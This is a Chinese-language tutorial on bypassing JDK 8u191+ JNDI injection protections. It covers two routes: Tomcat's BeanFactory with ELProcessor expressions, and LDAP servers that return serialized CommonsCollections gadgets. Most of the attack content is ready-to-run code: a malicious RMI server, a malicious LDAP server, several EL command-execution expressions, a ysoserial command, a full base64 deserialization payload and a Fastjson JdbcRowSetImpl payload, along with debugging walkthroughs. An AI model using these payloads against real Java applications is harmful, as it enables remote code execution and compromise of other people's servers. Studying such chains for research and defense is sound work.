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0x01 绕过高版本JDK(8u191+)限制
如下两种绕过方式:
0x02 利用本地恶意Class作为Reference Factory
2.1 攻击利用
1. 服务端
2. 服务端
2.2 几种变体的表达式
调试分析
小结
0x03 利用LDAP返回序列化数据,触发本地Gadget
3.1 攻击利用
3.2 调试分析
参考资料
0x01 绕过高版本JDK(8u191+)限制
由前面知道,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为false,禁止LDAP协议使用远程codebase 的选项,把LDAP协议的攻击途径也给禁了:
如下两种绕过方式:
- 找到一个受害者本地 CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
这两种方式都非常依赖受害者本地 CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。
简单地说,在低版本JDK的JNDI注入中,主要利用的就是classFactoryLocation这个参数来实现远程加载类利用的。但是在高版本JDK中对classFactoryLocation这个途径实现了限制,但是对于classFactory这个参数即本地ClassPath中如果存在Gadget的话还是能够进行JNDI注入攻击的。
0x02 利用本地恶意Class作为Reference Factory
简单地说,就是要服务端本地ClassPath中存在恶意Factory类可被利用来作为Reference Factory进行攻击利用。该恶意Factory类必须实现
javax.naming.spi.ObjectFactory接口,实现该接口的getObjectInstance()方法。
- 大佬找到的是这个org.apache.naming.factory.BeanFactory类,其满足上述条件并存在于Tomcat依赖包中,应用广泛。该类的getObjectInstance()函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
2.1 攻击利用
具体依赖Tomcat中的jar包为:catalina.jar、el-api.jar、jasper-el.jar
1. 服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
 
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 6666");
        Registry registry = LocateRegistry.createRegistry( 6666);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        System.out.println("[*]Evil command: calc");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}- ResourceRef在 tomcat 中表示某个资源的引用,其构造函数参数如下:
// java/org/apache/naming/ResourceRef.java
/**
    * Resource Reference.
    *
    * @param resourceClass Resource class
    * @param description Description of the resource
    * @param scope Resource scope
    * @param auth Resource authentication
    * @param singleton Is this resource a singleton (every lookup should return
    *                  the same instance rather than a new instance)?
    * @param factory The possibly null class name of the object's factory.
    * @param factoryLocation The possibly null location from which to load the
    *                        factory (e.g. URL)
    */
public ResourceRef(String resourceClass, String description,
                    String scope, String auth, boolean singleton,
                    String factory, String factoryLocation)- 其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为apache.naming.factory.BeanFactory。x=eval令上述代码实际执行的是ELProcessor.eval函数,其第一个参数是属性x的值,这里指定的是弹计算器。
2. 服务端
import javax.naming.Context;
import javax.naming.InitialContext;
 
public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:6666/Object";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}- 需要在maven中导入依赖:
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.51</version>
</dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>8.5.51</version>
</dependency> 
  2.2 几种变体的表达式
前面的恶意表达式就是通过反射的方式来实现命令执行的,本地测试有如下几种变体,原理都是基于反射调用任意类方法:
import javax.el.ELProcessor;
 
public class Test {
    public static void main(String[] args) {
        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
                ".newInstance().getEngineByName('nashorn')" +
                ".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
//        String poc = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
//                ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
//                ".invoke(null),'calc.exe')}";
//        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
//                ".newInstance().getEngineByName('JavaScript')" +
//                ".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
        new ELProcessor().eval(poc);
    }
}调试分析
我们通过调试分析来调用过程,前面的部分和正常调用一样,到javax.naming.spi.NamingManager.java类的
getObjectInstance()方法中,如图 2-2:
 
  这里看到由于我们构造 Reference的时候里面传的工厂类为org.apache.naming.factory.BeanFactory,因此这里从Reference拿到的factory就是org.apache.naming.factory.BeanFactory类,接着调用
getObjectInstance():
- 同时我们应该注意到,想要从上一步的 getObjectFactoryFromReference(ref, f);中得到返回factory不报错的话,需要传入的Factory类必须实现ObjectFactory接口类(因为会对获取回来的类实例化后强转为ObjectFactory类型),而org.apache.naming.factory.BeanFactory正好满足这一点,如图 2-3:
 
  - 回到getObjectInstance()方法中接着往下走跟进getObjectInstance(),如图 2-4:
 
  上来就是判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例。往下走,如图 2-5:
 
  - 接着获取Bean类为javax.el.ELProcessor后,实例化该类并获取其中的 forceString 类型的内容,其值是我们构造的x=eval内容。继续往下走,如图 2-6:
 
  - 这里先用,分割value属性的值,然后循环里面每一个值,判断里面是否存在=:若存在就获取等号前的值作为param,等号后的值为propName;否则就使用set拼接value的值作为propName的值;如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!
然后调用 beanClass.getMethod(propName, paramTypes) 获取eval方法,如2-7:
 
  
- 接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素(也就是EL表达式的命令)。往下走,如图 2-8:
 
  小结
- 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是
org.apache.naming.factory.BeanFactory;- 由于
org.apache.naming.factory.BeanFactory类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor类;- ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为
forceString、内容为x=eval的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory类的getObjectInstance()方法源码发现,程序会判断是否存在=号,若存在则将x属性的默认setter方法设置为我们eval;第二次是类型为x、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x属性关联起来,x属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor类的eval()函数执行恶意表达式从而达到攻击利用的目的;
0x03 利用LDAP返回序列化数据,触发本地Gadget
LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的
obj.decodeObject()方法就会对这个字段的内容进行反序列化。此时,如果服务端ClassPath中存在反序列化许多功能利用Gadget如CommonsCollections库,那么就可以结合该Gadget实现反序列化漏洞攻击。
3.1 攻击利用
假设目标环境存在Commons-Collections-3.2.1包,且存在JNDI的lookup()注入或Fastjson反序列化漏洞。
- 使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出:
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64- 输出:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=- 恶意LDAP服务器如下,主要是在javaSerializedData字段内填入刚刚生成的反序列化payload数据:
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
 
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
 
public class LdapServer {
 
    private static final String LDAP_BASE = "dc=example,dc=com";
 
 
    public static void main (String[] args) {
 
        String url = "http://vps:8000/#ExportObject";
        int port = 1234;
 
 
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
 
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
 
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
 
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
 
        private URL codebase;
 
 
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
 
 
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
 
        }
 
 
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
 
            // Payload1: 利用LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());
 
            // Payload2: 返回序列化Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }
 
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
 
    }
}- 目标服务端代码,假设存在JNDI lookup()函数注入或 Fastjson反序列化漏洞,此时通过JNDI注入实现反序列化漏洞利用:
import com.alibaba.fastjson.JSON;
import javax.naming.InitialContext;
 
public class Test {
    public static void main(String[] args) throws Exception {
        // lookup参数注入触发
        Context ctx = new InitialContext();
        ctx.lookup("ldap://localhost:1234/ExportObject");
 
        // Fastjson反序列化JNDI注入Gadget触发
        String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
        JSON.parse(payload);
    }
}如图 3-1:
 
  
3.2 调试分析
LDAP调用的流程和前面一样,调用链都是不同类
lookup()函数之间的调用,com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中会调用到com.sun.jndi.ldap.Obj类的decodeObject()函数进行解码对象的操作。跟进去,如图 3-2:
 
  
先调用
getCodebases()函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容,由于本次并没有设置这个属性因此返回null;然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流;这里var2变量为null,传入getURLClassLoader()函数调用后返回的是AppClassLoader即应用类加载器;再往下就是调用deserializeObject()函数来反序列化javaSerializedData的对象字节码。跟进去如3-3:
 
  
参考资料
如何绕过高版本JDK的限制进行JNDI注入利用
Exploiting JNDI Injections in Java
浅析高低版JDK下的JNDI注入及绕过



















